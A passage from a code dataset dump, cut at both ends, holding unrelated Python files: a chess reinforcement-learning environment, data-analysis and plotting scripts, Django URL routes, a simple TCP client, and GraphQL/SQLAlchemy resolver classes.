x in self.board.generate_legal_moves()]\n legal_moves = np.random.choice(legal_moves)\n return legal_moves\n\n def project_legal_moves(self):\n \"\"\"\n Create a mask of legal actions\n Returns: np.ndarray with shape (64,64)\n \"\"\"\n self.action_space = np.zeros(shape=(64, 64))\n # use chess legal moves generator to generate legal actions based on current state of the board.\n moves = [[x.from_square, x.to_square] for x in self.board.generate_legal_moves()]\n for move in moves:\n self.action_space[move[0], move[1]] = 1\n return self.action_space\n\n def get_material_value(self):\n \"\"\"\n Sums up the material balance using Reinfield values\n Returns: The material balance on the board\n \"\"\"\n pawns = 1 * np.sum(self.layer_board[0, :, :])\n rooks = 5 * np.sum(self.layer_board[1, :, :])\n minor = 3 * np.sum(self.layer_board[2:4, :, :])\n queen = 9 * np.sum(self.layer_board[4, :, :])\n return pawns + rooks + minor + queen\n \n def validate_move(self, move):\n \"\"\"\n Checks if the move is valid, if not will return a random move.\n \"\"\"\n \n moves = [x for x in self.board.generate_legal_moves() if \\\n x.from_square == move.from_square and x.to_square == move.to_square]\n if len(moves) == 0: # If all legal moves have negative action value, explore.\n move = self.get_random_action()\n else:\n move = np.random.choice(moves) # If there are multiple valid moves, pick a random one.\n return move\n\n def reset(self):\n \"\"\"\n Reset the environment\n Returns:\n\n \"\"\"\n self.board = chess.Board(self.FEN) if self.FEN else chess.Board()\n self.init_layer_board()\n self.init_action_space()\n","sub_path":"RLC/capture_chess/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"13665356","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom ..signal import Time\nfrom ..signal.linear_gaussian import LinearGaussian\nfrom ..polynomial_approximation import linear_regression as LR\nfrom ..polynomial_approximation import high_order_approximation as HA\n\nsigma = 1.3\n\n# clock\nsampling_rate = 1000.;end_time = 2.\nclock = Time(sampling_rate)\nclock.Offline(end_time)\n\n# generate linear point\no_m = random.uniform(-20, 20)\no_c = random.uniform(-20, 20)\np_x = clock.timespace \np_y = LinearGaussian(clock, sigma, o_m, o_c).Offline()\no_y = o_m*p_x+o_c\n\n# linear regression\nm0, c0 = LR.LeastSquare(p_x, p_y)\nm1, c1 = LR.PseudoInverse(p_x, p_y)\na = HA.HighOrderApprox(p_x, p_y, 1)\ny0 = m0*p_x+c0\ny1 = m1*p_x+c1\ny2 = a[1]*p_x+a[0]\n\n\nprint(\"Origin\\t\\t\", o_m, o_c)\nprint(\"Least Square\\t\", m0, c0)\nprint(\"Pseudo Inverse\\t\", m1, c1)\nprint(\"High Order\\t\", a[1], a[0])\n\nplt.subplot(311)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.scatter(p_x, p_y, c='g', s=0.5)\nplt.plot(p_x, o_y, 'r--')\nplt.plot(p_x, y0)\n\nplt.subplot(312)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.scatter(p_x, p_y, c='g', s=0.5)\nplt.plot(p_x, o_y, 'r--')\nplt.plot(p_x, y1)\n\nplt.subplot(313)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.scatter(p_x, p_y, c='g', s=0.5)\nplt.plot(p_x, o_y, 'r--')\nplt.plot(p_x, y2)\n\n\nplt.show()\n","sub_path":"test_bench/before construction/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"384803364","text":"# create a function that takes a number,\n# divides ten with it,\n# and prints the result.\n# it should print \"fail\" if the parameter is 0\n\ndef divide(number):\n if number > 0:\n print(10/number)\n else:\n print('fail')\n\ndivide(9)\n","sub_path":"week-03/day2/divide-by-0.py","file_name":"divide-by-0.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"191356597","text":"import numpy as np\nimport chal\nfrom matplotlib import pyplot as plt\n\nsignal, background, validation = chal.read_numpy_data()\ndata, target, weights = chal.read_array_data(validation)\n\n\ndata = data.T\nfile_name = input(\"give classification file name, 1=signal, 0=background, all in one line\\n\")\nfile_name = \"rf_simple_1000_20.clf.txt\"\n\nclassification = (open(str(file_name)))\nclassification = np.array(list(map(lambda x: bool(int(x)), ((classification.readline()).strip()).split(\" \"))))\n\nsignal_predicted = (classification == True)\nbackground_predicted = (np.logical_not(signal_predicted))\nactually_signal = (target == 1)\nactually_background = np.logical_not(actually_signal)\n\ntrue_signal_weights, false_signal_weights = sum(weights[np.logical_and(actually_signal == signal_predicted, signal_predicted)]), sum(weights[np.logical_and(actually_background == signal_predicted, signal_predicted)])\n\nfor i in range(30):\n n, bins, _ = plt.hist((data[:,i])[signal_predicted], bins=50, alpha=0.5, color=\"r\", normed=True, label=\"signal predicted\")\n n2, bins2, _ = plt.hist((data[:,i])[actually_signal], bins=bins, alpha=0.5, normed=True, label=\"signal\", color=\"b\")\n plt.xlabel(\"parameter no \" + str(i))\n plt.ylabel(\"normalized distribution\")\n plt.legend()\n plt.show()\n plt.clf()\n n3, bins3, _ = plt.hist((data[:,i])[actually_background], bins=bins, alpha=0.5, normed=True, label=\"background\", color=\"b\")\n n4, bins4, _ = plt.hist((data[:,i])[background_predicted], bins=bins, alpha=0.5, normed=True, label=\"background predicted\", color=\"r\")\n #print(naive_correlation(n, n2, bins), i)\n plt.xlabel(\"parameter no \" + str(i))\n plt.ylabel(\"normalized distribution\")\n plt.legend()\n plt.show()\n #plt.clf()\n #plt.plot(bins[:-1], n - n2, \"ro\")\n #plt.show()\n plt.clf()\n","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"80705319","text":"import cv2\n\nfrom definitions import *\n\n\n# 两个测试工具函数\n# 用以测试指定的矩阵是否正确存储了图像与Label\n\ndef test(X, Y):\n for i in range(len(X)):\n image = X[i]\n label = Y[i]\n cv2.imshow('Test Show', image)\n print(EXPRESSIONS[label])\n cv2.waitKey(0)\n\n","sub_path":"test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"390715470","text":"import socket\nclass ServerTCP():\n def __init__(self):\n self.target_host = '39.107.241.25'\n self.target_port = 40000\n\n def connectServer(self,string):\n # 建立一个socket对象,AF_INET说明将使用标准的IPv4地址或主机名,SOCK_STREAM说明是一个TCP客户端\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # 连接到服务器\n client.connect((target_host, target_port))\n # 发送数据\n client.sendall(string.encode())\n # 接收数据\n response = client.recv(4096)\n return response\n\n\n\n\n","sub_path":"test/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"491529889","text":"\"\"\"Get anatomical informations.\"\"\"\nimport os\n\nimport pandas as pd\nimport numpy as np\n\nfrom brainpipe.system import Study\n\nfrom visbrain.utils import set_log_level\nfrom visbrain.objects import SourceObj, RoiObj\n\nset_log_level('ERROR')\n\nst = Study('DMN-CORR')\n\n# -----------------------------------------------------------------------------\n# DATA / SUBJECT CONFIG :\nfiles = st.search('', folder=\"xyz\", full_path=False)\nchannel_path = st.path_to_folder('channels')\nxyz_path = st.path_to_folder('xyz')\nanat_path = st.path_to_folder('anatomy')\nanat = '%s_anat.xlsx'\nmist_levels = ['7', '20', 'ROI']\nkeep_cols = ['Text', 'hemisphere', 'brodmann', 'aal']\n# -----------------------------------------------------------------------------\n# # ROI OBJ CREATION :\n\nkeep_cols += ['name_%s' % k for k in mist_levels] + ['X', 'Y', 'Z']\n\n\n# files = [\"BD_xyz.npy\"]\n\nfor f in files:\n print('------------------------------------------------------------------')\n print('Processing %s' % f)\n print('------------------------------------------------------------------')\n suj = f.split('_')[0]\n\n # Load channels and xyz :\n print(' * Load channels and xyz')\n xyz_file = st.search(suj, folder='xyz')\n chan_file = st.search(suj, folder='channels')\n assert len(xyz_file) == len(chan_file) == 1\n assert (suj in xyz_file[0]) and (suj in chan_file[0])\n xyz = st.load(xyz_file[0], folder='xyz')\n channels = st.load(chan_file[0], folder='channels')\n\n # Create Excel sheet :\n save_as = os.path.join(anat_path, anat % suj)\n print(' * Create excel sheet (%s)' % save_as)\n writer = pd.ExcelWriter(save_as)\n\n # Source object creation :\n print(' * Creation of the source object')\n s_obj = SourceObj(suj, xyz, text=channels)\n\n # Analyse sources :\n print(' * Analyse sources')\n roi_brod = RoiObj('brodmann')\n roi_aal = RoiObj('aal')\n roi_mist = [RoiObj('MIST_%s' % k) for k in mist_levels]\n roi_obj = [roi_brod, roi_aal] + roi_mist\n df = s_obj.analyse_sources(roi_obj=roi_obj)\n\n # Clean up name and remove columns :\n print(' * Clean up dataframe')\n df = df[keep_cols]\n df['is_DMN'] = df['name_7'] == 'Default mode network'\n\n # Write to sheet :\n print(' * Write to Excel')\n df.to_excel(writer)\n\n writer.save()\n\n del (df, s_obj, xyz, channels, roi_obj, suj, writer, xyz_file, chan_file,\n save_as)\n","sub_path":"DMN-corr/00_preprocessing/02_anatomy.py","file_name":"02_anatomy.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"13819942","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\nfrom .views import (get_category_id,\n category_editpopup,category_createpopup,category_deletepopup,\n product_create,product_edit, product_homeview, validate_category,\n delete_all_products, batch_delete_products,\n export_products, export_products_batch,\n ProductReadView, ProductListView, ProductUpdateView)\n\n\nurlpatterns = [\n path('', product_homeview, name='product-home'),\n path('new/', product_create, name = \"product-create\"),\n path('/update/', product_edit, name='product-update'),\n path('read//', ProductReadView.as_view(), name='product-read'),\n\n path('export/csv/', export_products, name='product-export'),\n # path('/export/csv/single', export_products_single, name='product-export-single'),\n path('/export/csv/batch', export_products_batch, name='product-export_batch'),\n\n path('/delete', batch_delete_products, name='product-delete-batch'),\n path('delete/', delete_all_products, name='product-delete-all'),\n\n path('category/create/', category_createpopup, name = \"category_create\"),\n url(r'^category/(?P\\d+)/edit', category_editpopup, name = \"category_edit\"),\n url(r'^category/(?P\\d+)/delete', category_deletepopup, name = \"category-delete\"),\n path('category/ajax/get_category_id', get_category_id, name = \"get_category_id\"),\n\n path('/validate_category', validate_category, name = \"validate_category\"),\n]\n","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370317947","text":"# Modified from quip_lymphocyte/get_grayscale_heatmap.py\nimport os\nimport sys\n# import imageio\nimport numpy as np\n# from datetime import datetime\n\nfrom calc.get_labeled_im import *\nfrom calc.get_tissue_map import get_tissue_map\nfrom calc.get_wbr_im import get_wbr_im\nfrom calc.featuremap import write_map_from_matrix\n\n# from pprint import pprint\n\n# pprint(sys.path)\n\n# startTime = datetime.now()\n\n# Check num args\nbase = os.path.basename(__file__)\nif len(sys.argv) != 7:\n print('\\nUsage:\\n python ' + base + ' svs_name width height pred_file color_file output_dir')\n sys.exit(1)\n\n# Get arguments\nsvs_name = sys.argv[1]\nwidth = int(sys.argv[2])\nheight = int(sys.argv[3])\npred_file = sys.argv[4]\ncolor_file = sys.argv[5]\noutput_dir = sys.argv[6]\n\n# Get data from files\npred, necr, patch_size = get_labeled_im(pred_file)\nwhiteness, blackness, redness = get_wbr_im(color_file)\n\n# Initialize m x n x c matrix\nim = np.zeros((pred.shape[0], pred.shape[1], 3), dtype=np.uint8)\n\n# Populate matrix\nim[:, :, 0] = 255 * pred * (blackness > 30).astype(np.uint8) * (redness < 0.15).astype(np.uint8) # Red channel\nim[:, :, 1] = 255 * necr # Green channel\nim[:, :, 2] = 255 * get_tissue_map(whiteness) # Blue channel\n\nim = np.swapaxes(im, 0, 1) # Transpose\n\nfilename = output_dir + '/{}.png'.format(svs_name)\n# imageio.imwrite(filename, im)\n# print(base + ':', datetime.now() - startTime)\nwrite_map_from_matrix(im, [width, height], filename)\n","sub_path":"src/prediction_to_map.py","file_name":"prediction_to_map.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"102548913","text":"from ws.RLUtils.common.app_info_lib import DotDict\r\n\r\napp_info = DotDict(\r\n {\r\n \"NUM_EPISODES\": 500,\r\n \"BATCH_SIZE\": 64,\r\n \"GAMMA\": 0.99,\r\n \"LEARNING_RATE\": 0.01,\r\n \"EPSILON\": 0.1,\r\n \"RHO\": 0.99,\r\n \"DISCOUNT_FACTOR\": 0.9,\r\n }\r\n)\r\n\r\ndef fn_add_configs(api_info):\r\n for k, v in app_info.items():\r\n api_info[k] = v\r\n\r\n\r\n","sub_path":"ws/RLAgents/_CommonAgentConfigurations/gridwell_monte_carlo/AGENT_CONFIG.py","file_name":"AGENT_CONFIG.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"201183420","text":"def haveline(wordA,wordB):\n diff=0\n for i in range(0,len(wordA)):\n if wordA[i]!=wordB[i]:\n diff+=1\n if diff>=2:\n return False\n if diff==1:\n return True\n else:\n return False\n\ndef search(x,depth):\n if depth>beginNo:\n return\n global queue\n global mindepth\n global endNo\n global ans\n queue.append(x)\n if x==endNo:\n if depth= middleUp:\n lineValue -= 1\n columnValue = 0\n for column in range(1, self.maxColumn + 1):\n if column <= middleDown:\n columnValue += 1\n elif column > middleUp:\n columnValue -= 1\n fieldId = (line * self.maxColumn) + column\n self.fields[fieldId].value = lineValue + columnValue\n","sub_path":"beta/src/Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"49806662","text":"from __future__ import annotations\n\nimport logging\nimport typing as t\n\nfrom inflection import underscore\nfrom sqlalchemy import func\nfrom sqlalchemy.orm import lazyload\nfrom sqlalchemy.orm import mapper\nfrom sqlalchemy.orm import subqueryload\nfrom sqlalchemy_utils import ChoiceType\nfrom sqlalchemy_utils import get_mapper\n\nfrom .errors import AuthorizationError\nfrom .errors import ValidationFailedError\nfrom .filter import generate_filters\nfrom .sort import generate_sorts\n\n\ndef js_underscore(word: str) -> str:\n # add config\n return underscore(word)\n\n\nclass Resolver:\n \"\"\"\n The super class for all builtin CRUD magql resolvers. Establishes\n the call order of the resolve functions. Resolve is broken down into\n 3 main sections, :func:`pre-resolve`, :func:`resolve`, and\n :func:`post-resolve`. :func:`re-resolve` allows modification of the\n arguments that will be passed to :func:`resolve`. :func:`resolve`\n is broken down into 4 sections, :func:`retrieve_value`, :func:`authorize`,\n :func:`validate`, and :func:`mutate`. :func:`resolve` returns a value\n that can be modified by :func:`post_resolve`, which can perform side\n effects such as commiting the session. The order of these functions\n is the suggested way of organizing the resolve order such that overriding\n and/or extending the functionality is easiest.\n \"\"\"\n\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Default resolve method, establishes and executes the default\n resolve flow\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the resolved value that is returned to GraphQL\n \"\"\"\n parent, info, args, kwargs = self.pre_resolve(parent, info, *args, **kwargs)\n try:\n resolved_value = self.resolve(parent, info, *args, **kwargs)\n except ValidationFailedError as validation_errors:\n return {\"errors\": list(validation_errors.args)}\n except AuthorizationError as authorize_errors:\n return {\"errors\": list(authorize_errors.args)}\n post_resolved_value = self.post_resolve(\n resolved_value, parent, info, *args, **kwargs\n )\n return post_resolved_value\n\n def pre_resolve(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Tuple[t.Any, ...]:\n \"\"\"\n Allows for modification of the passed parameters\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the parameters that will be passed to :func:`resolve`\n \"\"\"\n return parent, info, args, kwargs\n\n def post_resolve(\n self,\n resolved_value: t.Any,\n parent: t.Any,\n info: t.Any,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> t.Any:\n \"\"\"\n Allows for modification of the returned value to GraphQl and\n performing of side effects\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: The value to be returned to GraphQL\n \"\"\"\n return resolved_value\n\n def authorize(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> None:\n \"\"\"\n Provides a space to perform authorization. Raise an AuthError\n to stop execution and have the resolve method return an error\n message based on the string error in the error object\n :param instance: The value returned by :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n \"\"\"\n return None\n\n def validate(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> None:\n \"\"\"\n Provides a space to perform validation. Raise an ValidationError\n to stop execution and have the resolve method return an error\n message based on the string error in the error object\n :param instance: The value returned by :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n \"\"\"\n return None\n\n def mutate(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Provides a space to mutate the resolved value. Necessarily will\n do nothing in queries.\n :param instance: The value returned by\n :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the value that will be returned to GraphQL\n \"\"\"\n return instance\n\n def retrieve_value(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Retrieves (or creates) the value that the resolver will operate\n on and return. By default performs dot operation on the parent\n object using the field_name parameter of the info dict\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the value that will be operated on and returned to GraphQL\n \"\"\"\n return getattr(parent, underscore(info.field_name))\n\n def resolve(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Establishes the call order of the resolve sub_functions\n :func:`retrieve_value`, :func:`authorize`, :func:`validate`,\n and :func:`mutate`. When subclassing, define one of these\n subfunctions to overwrite or extend the functionality in a\n granular manner. To override functionality in a more major way\n define a new resolve function to perform desired behavior.\n :param parent: gql parent. is whatever was returned by the\n parent resolver\n :param info: gql info dictionary\n :return: The value to be returned to GraphQL\n \"\"\"\n value = self.retrieve_value(parent, info, *args, **kwargs)\n\n self.authorize(value, parent, info, *args, **kwargs)\n\n self.validate(value, parent, info, *args, **kwargs)\n\n value = self.mutate(value, parent, info, *args, **kwargs)\n\n return value\n\n\nclass ResultResolver:\n \"\"\"\n Result Resolver retrieves the result key off of the payload object\n :param parent: GraphQL Payload object\n :param info: gql info dictionary\n :return: The results field on the payload object\n \"\"\"\n\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n return parent\n\n\nclass CountResolver:\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n return info.context.info.get(\"count\")\n\n\nclass CamelResolver:\n \"\"\"\n Identical to graphql's default_field_resolver except the field_name\n is converted to snake case\n :param parent: gql parent. is whatever was returned by the\n parent resolver\n :param info: gql info dictionary\n :return: The value to be returned to GraphQL\n \"\"\"\n\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n source = parent\n # TODO: Look into a way to generate info\n # dictionary so the code does not need to be\n # copied or circumvent all together in a different way\n field_name = underscore(info.field_name)\n value = (\n source.get(field_name)\n if isinstance(source, dict)\n else getattr(source, field_name, None)\n )\n if callable(value):\n return value(info, **args)\n return value\n\n\nclass CheckDeleteResolver:\n \"\"\"\n Resolver for the function that checks to see what will be deleted\n \"\"\"\n\n def __init__(self, tables: t.List[t.Any]):\n self.tables = tables\n\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Optional[t.List[t.Any]]:\n for table in self.tables:\n try:\n class_ = get_mapper(table).class_\n except ValueError:\n continue\n # TODO: switch over frontend to class name\n if class_.__name__ == kwargs[\"tableName\"]:\n id_ = kwargs[\"id\"]\n session = info.context\n instance = session.query(class_).filter_by(id=id_).one()\n session.delete(instance)\n cascades = []\n for obj in session.deleted:\n cascades.append(obj)\n\n session.rollback()\n\n return cascades\n return None\n\n\nclass SQLAlchemyTableUnionResolver:\n \"\"\"\n Resolver that determines which type is being return from the delete check.\n This resolver is tied to the use of sqlalchemy\n \"\"\"\n\n def __init__(self, magql_name_to_table: t.Dict[str, t.Any]):\n self.magql_name_to_table = magql_name_to_table\n\n def __call__(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Optional[t.Any]:\n for magql_name, table in self.magql_name_to_table.items():\n if isinstance(parent, get_mapper(table).class_):\n for gql_type in info.return_type.of_type.types:\n if gql_type.name == magql_name:\n return gql_type\n raise Exception(\"Type not found\")\n\n\nclass EnumResolver(Resolver):\n def retrieve_value(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Resolve Enums which need to get the code from the value\n :param parent: gql parent. is whatever was returned by\n the parent resolver\n :param info: gql info dictionary\n :return: getattr(parent, info.field_Name)\n \"\"\"\n if not parent:\n return None\n field_name = underscore(info.field_name)\n return getattr(getattr(parent, field_name), \"code\", None)\n\n\nclass TableResolver(Resolver): # noqa: B903\n \"\"\"\n A subclass of :class:`Resolver` that adds a table so that it can be\n reused in :class:`QueryResolver` and :class:`MutationResolver`.\n \"\"\"\n\n def __init__(self, table: t.Any):\n \"\"\"\n MutationResolver can be overriden by\n :param table: a sqlalchemy table\n \"\"\"\n self.table = table\n self.table_class = get_mapper(table).class_\n super().__init__()\n\n\nclass MutationResolver(TableResolver):\n \"\"\"\n Subclass of :class:`TableResolver`. Initialized with a schema for\n validating the inputs. Its resolve method will call its validate\n method and return either the requested data of the changed object\n or an error dict filled with errors.\n \"\"\"\n\n # def __call__(self, parent, info, *args, **kwargs):\n # \"\"\"\n # Checks if a schema has been set and if so validates the mutation.\n # Otherwise it just resolves the mutation.\n # :param parent: parent object required by GraphQL, always None because\n # mutations are always top level.\n # :param info: GraphQL info dictionary\n # :param args: Not used in automatic generation but left in in case\n # overriding the validate or call methods.\n # :param kwargs: Holds user inputs.\n # :return:\n # \"\"\"\n # return super(MutationResolver, self).__call__(parent, info, *args, **kwargs)\n\n def input_to_instance_values(\n self, input: t.Dict[str, t.Any], mapper: mapper, session: t.Any\n ) -> t.Dict[str, t.Any]:\n \"\"\"\n Helper method that converts the values in the input into values\n that can be passed into the creation of the instance. This\n returns scalars as themselves and passed id's as an object or\n list of objects that can be set in the creation call.\n :param input: The user's input dictionary containing the fields\n that are desired to be created.\n :param mapper: The mapper for the table that is being created\n :param session: The SQLAlchemy session\n :return: A dict of field names to values that will be added/changed on\n the newly created/modified object.\n \"\"\"\n instance_values = {}\n for key, value in input.items():\n key = underscore(key)\n if key in mapper.c:\n col_type = mapper.c[key].type\n if isinstance(col_type, ChoiceType):\n for enum_tuple in col_type.choices:\n if value == enum_tuple[1]:\n value = enum_tuple[0]\n break\n if key in mapper.relationships:\n target = get_mapper(mapper.relationships[key].target).class_\n query = session.query(target)\n if value:\n if isinstance(value, list):\n value = query.filter(target.id.in_(value)).all()\n else:\n value = query.filter(target.id == value).one()\n instance_values[key] = value\n return instance_values\n\n # Post resolve will add and commit the created value\n def post_resolve(\n self,\n resolved_value: t.Any,\n parent: t.Any,\n info: t.Any,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> t.Any:\n \"\"\"\n Adds and commits the mutated value to the session\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: The value to be returned to GraphQL\n \"\"\"\n session = info.context\n session.add(resolved_value)\n session.commit()\n return resolved_value\n\n\nclass ModelInputResolver(MutationResolver):\n def pre_resolve(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Tuple[t.Any, t.Any, t.Any, t.Any]:\n \"\"\"\n Converts ids of rels to actual values and handles enums\n :param parent: parent object required by GraphQL, always None because\n mutations are always top level.\n :param info: GraphQL info dictionary\n :param args: Not used in automatic generation but left in in case\n overriding the validate or call methods.\n :param kwargs: Holds user inputs.\n :return: The modified arguments\n \"\"\"\n session = info.context\n mapper = get_mapper(self.table)\n kwargs[\"input\"] = self.input_to_instance_values(\n kwargs[\"input\"], mapper, session\n )\n\n return parent, info, args, kwargs\n\n\nclass CreateResolver(ModelInputResolver):\n \"\"\"\n A subclass of :class:`MutationResolver`. Takes a dict of field values\n as input and creates an instance of the associated table with those\n fields.\n \"\"\"\n\n def retrieve_value(\n self, parent: None, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Creates an empty row in the table that will be modified by mutate.\n :param parent: parent object required by GraphQL, always None because\n mutations are always top level.\n :param info: GraphQL info dictionary\n :param args: Not used in automatic generation but left in in case\n overriding the validate or call methods.\n :param kwargs: Holds user inputs.\n :return: The instance with newly modified values\n \"\"\"\n mapper = get_mapper(self.table)\n\n # TODO: Replace with dictionary spread operator\n instance = mapper.class_()\n return instance\n\n def mutate(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Updates the passed instance to have the values specified\n in the query arguments\n :param value: The value returned by\n :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the newly created value that will be returned to GraphQL\n \"\"\"\n for key, value in kwargs[\"input\"].items():\n setattr(instance, key, value)\n return instance\n\n\nclass UpdateResolver(ModelInputResolver):\n \"\"\"\n A subclass of :class:`MutationResolver`. Takes a dict of field values\n and an id as input and updates the instance specified by id with\n fields specified by fields.\n \"\"\"\n\n def retrieve_value(\n self, parent: None, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Updates the instance of the associated table with the id passed.\n Performs setattr on the key/value pairs.\n :param parent: parent object required by GraphQL, always None because\n mutations are always top level.\n :param info: GraphQL info dictionary\n :param args: Not used in automatic generation but left in in case\n overriding the validate or call methods.\n :param kwargs: Holds user inputs.\n :return: The instance with newly modified valuesf\n \"\"\"\n session = info.context\n mapper = get_mapper(self.table)\n\n id_ = kwargs[\"id\"]\n return session.query(mapper.class_).filter_by(id=id_).one()\n\n def mutate(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Updates the passed instance to have the values specified\n in the query arguments\n :param value: The value returned by\n :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the updated value that will be returned to GraphQL\n \"\"\"\n for key, value in kwargs[\"input\"].items():\n setattr(instance, key, value)\n return instance\n\n\nclass DeleteResolver(MutationResolver):\n \"\"\"\n A subclass of :class:`MutationResolver`. Takes an id and deletes\n the instance specified by id.\n \"\"\"\n\n def retrieve_value(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Retrieves the row in the table that matches the id in the args,\n if such a row exists\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the value that will be operated on and returned to GraphQL,\n in this case the row with id matching the requested id\n \"\"\"\n session = info.context\n mapper = get_mapper(self.table)\n id_ = kwargs[\"id\"]\n return session.query(mapper.class_).filter_by(id=id_).one()\n\n def mutate(\n self, instance: t.Any, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Deletes the passed instance from the session\n :param value: The value returned by\n :func:`retrieve_value`\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the value that was deleted\n \"\"\"\n return instance\n\n def post_resolve(\n self,\n resolved_value: t.Any,\n parent: t.Any,\n info: t.Any,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> t.Any:\n \"\"\"\n Deletes the value from the session and commits the deletion\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: The value to be returned to GraphQL, in this case the\n deleted value\n \"\"\"\n session = info.context\n session.delete(resolved_value)\n session.commit()\n return resolved_value\n\n\nclass QueryResolver(TableResolver):\n \"\"\"\n A subclass of :class:`TableResolver`, the super class for\n :class:`SingleResolver` and :class:`ManyResolver`\n \"\"\"\n\n def generate_query(self, info: t.Any) -> t.Any:\n \"\"\"\n Generates a basic query based on the mapped class\n :param info: GraphQL 